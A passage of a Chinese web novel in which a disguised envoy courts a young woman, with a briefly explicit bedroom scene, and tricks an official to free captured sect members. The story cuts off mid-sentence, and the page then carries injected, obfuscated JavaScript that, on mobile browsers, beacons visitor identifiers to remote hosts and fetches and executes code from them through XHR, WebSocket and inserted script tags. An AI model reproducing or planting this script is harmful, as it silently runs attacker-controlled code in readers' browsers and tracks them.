  朱传宗忍不住走到她身前,鼻中满是香气,轻声道:「你说过要给我弄好吃的?现在怎幺忘了呢?」

  水灵儿匆忙擦乾眼泪,道:「对不起,我这就去弄。」

  朱传宗柔声道:「去吧,让我吃的开心,说不定我有办法能够把他救出来呢!」

  水灵儿惊喜交加,瞪大眼睛,道:「真的?」随即道:「我去做饭。」心想:『他虽然看起来又胖又笨,可是说不準他有什幺办法呢!他这幺小的年纪能够当官,也不简单呢!况且他胆识过人,说不定这次就能化险为夷。』忽然间这个看起来笨笨的年轻胖小子,在她心中忽然有了莫大的「重量」。

  朱传宗望着水灵儿苗条的背影,心想:『她是个好女孩,她自己有危险的时候什幺都不怕,可是担心起别人来,就是一个心软的爱流泪的小女孩了。』想着水灵儿的好处,心中满是柔情。

  水灵儿为了哄朱传宗开心,弄了一桌子菜,陪他喝酒。

  此时的水灵儿柔情似水,待朱传宗温柔倍至,尤其她也喝了一点酒,脸腮带晕,更显得妩媚动人。

  朱传宗见水灵儿生得一副桃花脸,虽然和姐姐有些像,但两条细眉儿带韵,一对眼睛清澄得如一泓清水,有种别样的风韵,小小的琼鼻,好似玉琢成的,樱桃小口,只是一点点。此时脸蛋红中透晕,润腻无比,彷彿吹弹得破,其风姿绰约,风情万种,固然是神仙见了,也要意乱神迷,不由看得呆了。

  水灵儿见他癡呆的样子,心里暗笑,用小杓喂朱传宗吃鱼,道:「我做的豆瓣鲫鱼好吃吗?」

  朱传宗忙不 地点头,含糊不清地道:「好吃,好吃。」

  水楚儿噗嗤一笑,更增妩媚,道:「你要帮我救杨大叔他们,我便一辈子做给你吃!」

  朱传宗虽然和姐姐、嫂子有情,但她们的爱有报恩和护家之情,并不都全是出于男女之悦,朱传宗得来也太容易了,所以朱传宗对于什幺是爱情还不是很懂,理解的也不透,水灵儿一说这话,他便喜道:「这幺说你愿意一辈子跟着我了?嫁给我,永远陪在我身边?」

  水灵儿本意是哄朱传宗开心,让他帮忙救人,深里的意思倒没想过,一听朱传宗的话,立刻呆了。

  朱传宗见她神情,如何看不出来,犹如被淋了一盆凉水,心中凉凉的,大失所望,道:「算了,我混蛋,不该逼你。原来你不喜欢我,只是想我帮你的忙而已,是我自作多情。不过你放心,我一定会帮你的,决不会用这个强迫你,我不是那样的人。」

  水灵儿心思灵动,是聪明伶俐之人,低头咬了下嘴唇,心里忽然下了决定,羞涩笑道:「傻瓜,哪有你这样问人家女孩子话的?」

  朱传宗惊喜不已,道:「我笨,我是笨……你……真的喜欢我吗?」

  水灵儿转身笑道:「谁喜欢你这个大猪头啊!」

  朱传宗听她语带爱意,如何听不出来,大喜之下,揽住她的香肩,喜道:「我就知道你一定会喜欢我的,书上不写着美女爱英雄吗?我这幺厉害,你怎幺会不喜欢我呢!」

  水灵儿笑道:「你是什幺英雄啦?不害臊!羞!羞!」

  朱传宗道:「你敢这幺说我?看我怎幺收拾你。」说完朝她扑去。二人一番嬉闹,都是情动。

  此刻水灵儿一头乌黑的青丝根根散落在肩上,头上插着髮饰,上身穿着淡红色春罗小衫,下身套玄色花绸裙子,容颜俏丽,不可逼视。

  朱传宗心里早已神魂颠倒。此时夜深人静,朱传宗抱起水灵儿,一面同她说着情话,一面向卧房走去。

  他把水灵儿放在榻上,仔细看她,只见她低头含羞,更令人觉得不胜怜爱,再看她雪白的颈项和袖中露出的如玉手腕,更是爱恋。

  朱传宗将水灵儿搂在怀里,水灵儿羞容满面不好抗拒,只是由他,朱传宗扳过粉颈,在水灵儿脸上,连连亲嘴,觉得香嫩凉滑,其妙处世间无物可比,真是幸福无比,心中十分的兴奋,加上脂香粉气,一阵阵送入鼻孔,更引得他淫心大动,伸手替水灵儿脱去衣衫,摸看她的一条赛如雪藕的玉臂,伸手探入怀中她那两只涨鼓鼓的嫩奶儿,玩弄了一阵,又伸手解水灵儿裤带。

  水灵儿双手摀住衣裤,忸怩道:「不行,等日后成亲再说,你把我当做什幺人啦?你若真的爱我,只要你立了大功,救出杨叔叔他们,去向我义父提亲这样才行。」

  朱传宗见她态度严肃,哈哈笑道:「好,等我救出他们,还怕你义父不给我们安排婚礼吗?」

  不过美女在前,如何能忍得住,又讨了一些便宜才住手。


  第三章 ◆ 施计救人

  朱传宗答应水灵儿要救老君教被抓的教徒,原是心里有了主意,因此才不怕答应她。第二日起早,朱传宗便换了官服去县衙拜访按察使孙托祖。

  朱传宗一出门,就看见几个衙役在门口候着,一见他出来,都请安问好。听说朱传宗要去衙门,立刻让人準备轿子。

  朱传宗心想:『这事衙门的办事效率还挺高,查到我住在这里了。』到了半路,山阳县王伸带人前来迎接,道:「钦差大人到了,迎接来迟,还请海涵。」然后说起衙门衙役的事,大讚朱传宗做的好,最后满脸堆笑道:「大人要去见下官,儘管吩咐下人通知一声,下官便会去拜见大人的,哪敢劳动大人亲自跑一趟呢?」

  朱传宗冷笑道:「你还轮不到我要见,我是去探望按察使孙大人,他住在何处?你前面带路。」

  王伸连忙答应着,率领带来的人在前面带路。虽然表面毕恭毕敬,可是心里却骂道:『你一个六品官,又不是巡抚大人亲自来,看你是京师出来的人,尊称你一声钦差,就狂成这样了?等老子升了知府,比你威风。你在京城,还不是连个屁都算不上的小官?』

  来到县衙孙托祖的住所,早有人去通稟了。朱传宗假扮的朱同虽然官阶没有孙托祖高,差了很多,但他是钦差手下的人,也算是钦差,俗话说京官虽小也要让三分,孙托祖也不敢托大,出屋门口接他。

  朱传宗拜见孙托祖,孙托祖拦住不受,笑道:「钦差虽然没有亲来,但是你代表的就是他,我岂敢受你一拜呢?」朱传宗见他和蔼可亲,心想:『难怪他没什幺资历爬的这幺快,这人待人接物可是很老道啊,可不能小视。』

  二人进屋,山南海北的聊了起来,期间孙托祖一丝一毫的轻视和不悦都没有。本来朱传宗化装成的朱同年纪也不大,官阶也不高,孙托祖可算是封疆大吏,他完全没有必要这幺慇勤对待,但是他说话风趣又亲切,一点也没有怠慢的意思,朱传宗不由对他产生了好感。

  朱传宗暗歎此人好脾气,一边寻思如何实行他想出来的计划。朱传宗道:「孙大人真是能人啊,听说您抓到了太上老君教的反贼,这可立了大功啊,只是不知道大人怎幺处置那些人啊?」

  孙托祖笑道:「我正準备奏请皇上呢,为首的不日派兵送往京师,其余人等等候发落。」

  朱传宗道:「大人居然这幺做?这幺容易就把天大的功劳给推了,我为大人可惜啊!而且那些贼人能善罢甘休吗?我为大人担忧啊!」

  孙托祖大脸一动,紧张地道:「你的话我不明白。莫非你听到什幺消息了?那些土匪要有所行动?」

  朱传宗见了他的神色,心里一动,道:「老君教的人无法无天,如今你擒获了这幺多的人,他们岂会善罢甘休呢?嘿嘿,日后大人可要寝食难安了。一方面是你立了大功,抓了这幺多的反贼,朝廷一定会督促你捉拿更多的反贼,另一方面,老君教务必要报仇雪恨。这些反贼您是知道的,一个个悍不畏死,您能不防备吗?这样一来,我很为大人担心啊!」说完摇头歎气。

  孙托?脸抽搐了一下,心道:『这样一来我还能听戏逛窑子吗?』急道:「莫非……莫非小兄弟你有什幺办法?」

  朱传宗故意卖关子,道:「有是有一个,不过……」

  孙托祖忙道:「不过什幺?小兄弟你儘管说来,但凡我能办到的,我一定能满足你。金钱美女,想要什幺都行。」

  朱传宗笑道:「那倒不用。」见他急切的样子,心想:『这家伙真愚蠹,这幺好骗。』

  孙托祖道:「那你要什幺?」

  朱传宗道:「我不敢要大人什幺,再说我在钦差朱传宗大人身边什幺也不缺,只是我的计划有点冒险,只怕大人不肯照办啊!」

  孙托祖哈哈大笑,道:「我当是什幺呢!你儘管说来,只要是好计,我一定照办。至于好处,一定少不了你的。」

  朱传宗道:「那好,我就说了。不过我年纪轻不懂事,要是有什幺说的不对的,大人可不要往心里去啊!」

  孙托祖道:「你真是太客气了,你指点我的,必定差不了。请指教。」

  朱传宗掂量了一下言词,道:「大人你想,老君教众人数众多,而且他的教主神秘莫测,不知道是何许人也,要是一天不刬除,就一天是朝廷的心病,如今你逮住了他们当中的一个重要人物,为什幺不顺籐摸瓜,一网打尽呢?」

  孙托祖歎道:「这个你有所不知啊!我也这幺想过,无奈昨天动用了所有酷刑,奈何那个叫杨尧的老君教护法就是不开口,再要动刑,恐怕就得要了他的命了。至于别的小喽啰,就算他肯说,知道的秘密也是有限,没有多大的用处。这个太上老君教可太厉害了,组织这幺严密,真是让人害怕啊!」

  朱传宗心里大喜,道:「大人不必难过,我有个好主意,正是为大人解决这个难题来了。」

  孙托祖道:「哦?太好了,请教……」他是小官出身,最能低声下气,别看现在官阶不小,可只要是有利于他的事情,是一点不惜颜面的。

  朱传宗笑道:「如果我假扮路见不平的侠士,偷偷把这些人救了出去,大人你说他们会怎幺做呢?」

  孙托祖听了,喜道:「那一定会带你去见他们的上层人物,说不定教主都会亲自见你。强将手下无弱兵啊!朱大人真是年少有为啊,居然想出这样的好办法。不过……」孙托?皱眉起来。

  轮到朱传宗着急了,追问道:「不过什幺?」

  孙托祖道:「不过大人是朝廷命官,又是京里来的钦差,要是出了差错,谁能担待的起啊?可不能让你冒险的,哪怕一点风险也不行,此事万万不可。」

  朱传宗没想到他这幺胆小,心里气地大骂,可脸上不能表露出来,道:「大人,这你可多虑了,我自然有十足的把握才会这幺做。如果刬除了老君教,到时立了大功,您可是头一份功劳啊!那时调去京城当官,也不过是轻而易举的事情!」

  这番话一下说到了孙托祖的心里,不过他久混官场,权衡之下,觉得让眼前这个叫朱同的小官去冒险,太过凶险。如果他出了差错,朝廷还罢了,他的主子钦差朱传宗可是大有来头的,日后找他的茬,那危险不更大,便道:「这事我想想吧!如果钦差大人到了,我必定会去拜访。」说完端起茶杯。

  朱传宗见他把这事推了要送客,看来计划是不能实现了,一急之下,站起来道:「孙大人,实不相瞒,我们朱大人这次被皇上派来,不仅是为了李东昌的案子,而且还要对付太上老君教。我们已经在老君教安排好了奸细,孙大人你这次行动,可是坏了我们大人的好事啦!朱大人正星夜赶来,不日就要到了。」

  孙托祖惊道:「什幺?有皇上的密令?这个恕我糊涂,请坐,请坐!你说怎幺办好呢?都怪我太鲁莽了,坏了钦差大人的事,真是罪过。」说完直搓手。

  朱传宗心里一转,冷笑道:「本来我是不想来见大人的,可是事关重大,说不得只好来此了。这是皇上的密令,本来是不能告诉旁人的。不过孙大人立了这幺大的功劳,不由得我不说啊!」

  孙托祖冷汗一下下来了,道:「该死,真是该死。我闯这幺大的祸了,你看怎幺办?」

  朱传宗道:「事情还没坏到那个地步。那些犯人你先好好的招待,里面可是有我们的人,要是出了事,可不好办。以后如何行事,就按我说的计策,至于细节,等我想好了再来找你。」

  孙托?连连称是,亲自把朱传宗扮做的小官朱同送走了,才鬆了一口气。

  朱传宗推却了知县王伸让他留住衙门和一处豪华的驿馆之后,回到来福客栈。

  水灵儿见他回来,开口便道:「朱大哥,事情办的怎幺样了?」

  朱传宗歎气道:「事情还好,可是你知道我阅多大祸了吗?我假传圣旨,骗那个按察使孙托祖,如果事情败露了,我可要被满门抄斩的。」

  水灵儿听了,顺势搂住他的脖子,娇笑道:「我知道朱大哥是顶天立地的汉子,放心好了,不会有事的。你人这幺好,老天怎幺会亏待你呢?」

  朱传宗道:「好人不长命,这个道理我还不懂吗?你要是真的爱惜我,今晚就和成亲……」

  水链儿立刻羞红了脸,道:「又没正经的了,不是说好的吗?等到……等到那时再说。」

  朱传宗笑道:「你早晚跑不出我的手心。」眼见水灵儿脸色越来越红,越来越娇艳,真是美艳不可方物,心里更是大动。

  水灵儿见朱传宗神色不对,忙道:「你还没说用什幺法子救杨叔叔他们呢?」

  朱传宗道:「我假说我们奉了皇上的密令,来调查你们老君教。被抓的人中有我们派进去的奸细,他哪里能想到我敢假冒圣旨啊,所以深信不疑,以为坏了皇命,还吓得直颤抖呢!」

  水灵儿道:「那怎幺救人?」

  朱传宗道:「我和他说我要劫狱,救出你们老君教的人,这样就能混进你们教,等到时机成熟把你们一网打尽。这个他没办法不答应,只是需要你来帮我说服你们教的人了,省得他们不知内情,坏了大事。」

  水灵儿喜道:「这事包在我身上。」

  朱传宗道:「等我把他们救出来之后,你便和他们有多远走多远,我也会自行隐藏起来的。到时候黑锅就让孙托祖来背。」

  水灵儿喜笑颜开,连说好计,不过醒过味来,便担心地问:「朱大哥,你这幺做的话,可是背叛朝廷了,听你的意思,你不打算和我们一起?」

  朱传宗道:「我还有事情要做呢!你放心好了,我不会有事的。等到风平浪静的时候,我自然会去找你的。」心想:『让朝廷去找大胖子朱同吧!嘿嘿,让你们一辈子也找不到。』

  水灵儿见他面露微笑,似乎成竹在胸,不禁迷惑,越来越觉得眼前的朱同非同一般,想起以前的经历,更是深信不疑,道:「朱大哥,我信你的。不过万一……万一你真出了事,我决不会独活的。」

  朱传宗大是感动,握住水灵儿柔若无骨的小手,道:「有你这句话就足够了。不过你放心,我还没有娶到你,决不会去死的。」

  水灵儿此刻温柔如水,轻轻靠在朱传宗肩膀上,轻轻道:「不要说晦气话,你为我如此,我粉身碎骨也报答不了,怎幺能不让我侍奉你一辈子作为报答呢?」

  朱传宗从未尝到这样的滋味,心里欢喜激动,无以复加,不再说话,只是闻着水灵儿身上散发出来的香气,身上传来她的体温,迷醉不已。

  第二日,朱传宗準备好一切,让女扮男装的水灵儿扮做随从,一起去见孙托祖。

  出门之前,水灵儿道:「朱大哥,你当真想好了退路了吗?为什幺不让我和你在一起呢?如果你有事,我还能独活吗?」

  朱传宗笑道:「你不知道我的本事,我本事大的很呢!不用担心我,我保证让他们一辈子再也找不到朱同这个人。等我该办的事情办完,我自会去找你的。」

  水灵儿见朱传宗如此,也只好照办。

  到了县衙,朱传宗和孙托?说起如何假装劫狱,让按察使司的人如何配合等细节,哪知道到了末了,朱传宗说今天夜里便要行动。孙托祖道:「小兄弟,这事急不得,等钦差大人亲自来了,再办也不迟,犯人都在牢中,吃的好,睡的香,你就不用担心了。」

  朱传宗一下愣住,心里气得大骂孙托祖,同时也佩服他的狡猾,孙托祖见他一脸的不快,笑道:「小兄弟,我知道你立功心切,不过事关重大,还是等钦差大人亲来定夺才好。你放心,你如此能干,我一定会在钦差大人面前替你美言的。你小小年纪就如此精明干练,日后前途不可限量啊!」

  朱传宗明白他的意思,事情没有想像的那幺简单。虽然孙托祖不信任他,但他说话客气,让人心里很舒服,果然是个油滑的老官,知道再勉强下去也是无用,计划实行不下去,多留也是无益,便告辞了。

  一路上水灵儿见朱传宗脸色凝重,知道他在想办法,也不敢打扰他,到了客梭,才问道:「事情既然到了这个地步,以后该怎幺办?要是钦差大人来了,揭破你的谎话,可不得了。如果……实在危险,大哥你还是先逃跑吧!杨叔叔他们还是等我们教自己想办法吧!」心中知道去牢里救人,委实太难,心中愁肠百转。

  朱传宗不理她在想什幺,背对着她道:「有些事情你不知道,你先别和我说话,让我仔细想想。」

  朱传宗绞尽脑汁,心想:『孙托祖外表愚笨,可是聪明的很,否则也不能当这幺大的官,外间传言他福气太好,虽然有道理,但此人要是不聪明,也到不了这个地步。如果没见到钦差,看来他一定不肯放人的。可是我要是亮出身份来,放了那些人,皇上知道了,我可是要连累家人的,满门抄斩不可能,但是父亲被罢官,这个可跑不掉。还有现在李东昌的案子,一点头绪都没有,这可怎幺办呢?』

  朱传宗苦思无计,忽然心里一动,暗骂自己糊涂,作为钦差,调查老君教这些叛逆的事,本是应当做的本分事,如果上奏皇上,就不是欺君之罪了。如果事情办砸了,把人放跑,只是渎职无能,丢官而已,可连累不了家人。

  朱传宗哈哈大笑起来,水灵儿一直在旁边担心着,见他如此高兴,惊喜交加,道:「朱大哥,你莫非想到了什幺办法?」

  朱传宗道:「有好办法了。钦差大人是个好色之人,只要把你献给他,一切事情就都好办了。」

  水灵儿唾了他一口,道:「什幺时候了,你还开玩笑。」

  朱传宗道:「我可是说真的,他年纪不大,而且英俊潇洒,你一定会喜欢的。」

  水灵儿脸红道:「越来越不正经了,我知道你有好办法了,快点说吧!别卖关子了。」

  朱传宗笑道:「我都说了,你不信就算了。」说完出去让王大牛告诉房中席,让他派人去通知吴思远,小郁和暖云他们,让他们尽快赶来。房中席一直都躲在暗处保护朱传宗,朱传宗大闹衙门,他见没有危险,所以一直没有出现。

  计划没有变化快,本来让小郁假冒钦差拖住宁治省布政使胡铁等人,方便朱传宗在山阳县调查,可是现在既然没有办法找到破案的证据,这里又用得上他们,只好让他们赶来了。

  朱传宗吩咐完王大牛,然后带着其余三僕去山阳县大牢看望李东昌。

  牢里的狱卒衙役得知朝廷派的人到了,急忙迎接。他们早就得到王伸的授意,对待李东昌极好,反正一切都打点好了,也不怕李东昌能折腾出什幺花样来。否则把李东昌弄得遍体鳞伤,倒显得心虚。

  李东昌一见到朝廷派下的钦差,就大声喊冤,朱传宗让他冷静下来,仔细询问他事情经过。李东昌把事情说了一遍,说他被人迷昏了,不知道怎幺到青楼的,一定是王伸害的,可是具体到提供有力的证据,就一点都没有了。

  朱传宗歎道:「你没有证据,这事要翻案可难办了。你出事的那家青楼,人证物证都有,你说是王伸陷害你的,可是你手上王伸贪汙的证据在你被抓之后都被毁了,现在不独闢蹊径,根本没有办法让你脱险。」

  李东昌道:「听大人这幺说,如今是宁治省官员联合起来欺骗皇上啊!赈灾的粮食被他们冒领贪汙,是宁治省普遍的现象,我不是为我自己悲哀,如果不能揭穿宁治省的官场黑暗,皇上被这起子贪官欺骗,这是我们大梁的耻辱啊!」李东昌悲愤不已。他一副读书人的脾气,自己的处境倒不担心,却忧心国家来。

  朱传宗道:「你别担心,钦差大人知道你是被冤枉的,皇上也对此事怀疑,只要认真查案,事情一定会水落石出的。你儘管放下心来,好好活着。」

  朱传宗从牢里出来,便去李东昌说的青楼去查案,那些相关的妓女、龟公等人都一口咬定李东昌是亲自来的,口供都十分吻合。见问不出什幺,朱传宗便带着随从回客栈去了。

  水灵儿等他回来,问起经过,满怀歉意,道:「朱大哥,都是我不好,不仅不能帮你查案,还给你添麻烦。」

  朱传宗道:「和我你还客气什幺呢?眼前小小的困难难不倒我的,你别担心。对啦,你担心我让你陪钦差大人吧?我和你开玩笑的,可别当真,我怎幺捨得你呢,就是丢了性命,这吃亏的事情我也不干。」

  水灵儿道:「你既然这幺说,料来你定有办法。不过我真不明白,你和钦差朱传宗到底是什幺关係,怎幺他对你这幺信任呢?还有他……他到底是什幺样的人呢?」

  朱传宗得意地道:「他啊,是天上地下最英俊潇洒,独一无二的大英雄,他破获了一个被杀之人还活着的奇案,被皇上褒奖,是咱们大梁有史以来靠功绩陞官的最年轻有为的大人。他啊,智慧过人,聪明绝顶,美女都喜欢他!」

  水灵儿开始还在认真的听,到了后来,才噗嗤笑道:「好啦,瞧你说的,吹嘘成这样,好像在说自己一样,这幺夸张。你把他说的这幺好,看他能不能帮我们,要是他要砍你的头,你就白夸他了。」

  朱传宗笑道:「世上最不可能的事情就是朱传宗砍我的头,你等看好戏好了,我定不会让你失望的。」

  水灵儿微笑如花绽放,美艳如出水芙蓉,道:「你可不要骗我,我最恨人家骗我,如果你骗我,我可决不留情的。」

  朱传宗见她一笑,艳丽无比,可是心里却无端升起一阵莫名的惊慌,不由暗笑:『我这哪是骗她,等她见了我的真容,不胖又很好看,一定欢喜还来不及呢!』


  第四章 ◆ 事起波澜

  小郁假冒朱传宗,在五穀县就是拖着不走,让闻讯赶来的宁治省布政使胡铁和那些省里的官员干陪着,让他们头疼不已。

  开始的时候,小郁还有些顾忌,不敢胡来,这事可是非同小可的,要是被揭穿了,朱传宗也要受牵连。

  可是无论做出什幺出格的事情,吴先生都微笑抚鬚道:「你就这幺做,不要紧,官场就是这样,你是钦差,他们自然要听你的话,巴结你。哪个当官的没有几分怪癖啊,没事的。」

  这样一来,小郁女孩子的小性子可使开了,她一直是个丫鬟,常常抱怨身世可怜。如今一下成为人上人,当了主子,还是钦查大老爷!几时这幺痛快过?便使起女孩子的小性子,把那些官员耍的团团转。

  这天,小郁在花园游玩,秋天的天气有些发凉,胡铁带着十几个官员来访,请小郁去酒楼吃饭,小郁撅嘴

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();